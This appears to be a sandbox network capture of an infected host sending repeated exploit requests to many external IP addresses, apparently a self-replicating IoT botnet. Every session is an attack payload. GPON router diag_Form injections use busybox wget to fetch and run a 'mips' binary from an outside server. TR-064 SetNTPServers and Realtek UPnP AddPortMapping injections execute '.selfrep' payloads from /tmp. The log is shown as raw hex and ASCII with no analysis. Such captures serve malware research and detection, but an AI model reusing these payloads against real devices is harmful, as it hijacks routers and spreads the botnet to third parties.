Apr 15, 2024 08:53:29.908020020 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:30.247025967 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:30 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.13	47638	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.045181990 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.13	59092	186.27.132.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.065380096 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:30.349576950 CEST	230	IN	HTTP/1.1 400 Bad Request Date: Sun Apr 14 18:19:09 2024 Server: TR069 client TCP connection request Server Content-Length: 21 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 20 52 65 71 75 65 73 74 20 4f 4b Data Ascii: Connection Request OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.13	43606	51.91.60.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.092883110 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.13	42402	175.228.147.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.098499060 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.13	57134	86.171.141.228	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.121155977 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.13	53100	31.136.253.47	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.146250010 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:31.136495113 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:33.120426893 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:37.120388985 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:45.056487083 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.13	55028	67.71.249.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.172472954 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
